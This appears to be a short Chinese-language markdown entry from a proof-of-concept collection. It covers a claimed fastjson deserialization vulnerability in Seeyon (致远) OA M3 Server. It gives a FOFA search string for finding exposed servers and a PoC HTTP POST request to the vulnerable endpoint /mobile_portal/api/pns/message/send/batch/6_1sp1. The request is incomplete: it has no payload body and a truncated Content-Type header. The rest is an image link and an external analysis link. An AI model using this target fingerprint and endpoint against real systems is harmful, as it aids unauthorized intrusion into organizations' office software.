Create 致远OA M3 Server 反序列化漏洞.md

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## 致远OA M3 Server 反序列化漏洞
## fofa
```
"M3-Server 已启动"
```
根据群友说这个漏洞是fastjson反序列化
## poc
```
POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencod
```
![ef21d114d1965815537db98570d2daf7](https://github.com/wy876/POC/assets/139549762/b3609c72-0516-4c69-a64f-62c86fffb30d)
##漏洞分析
```
https://mp.weixin.qq.com/s/czbhaf7jpNmgjAt-OFWmIA
```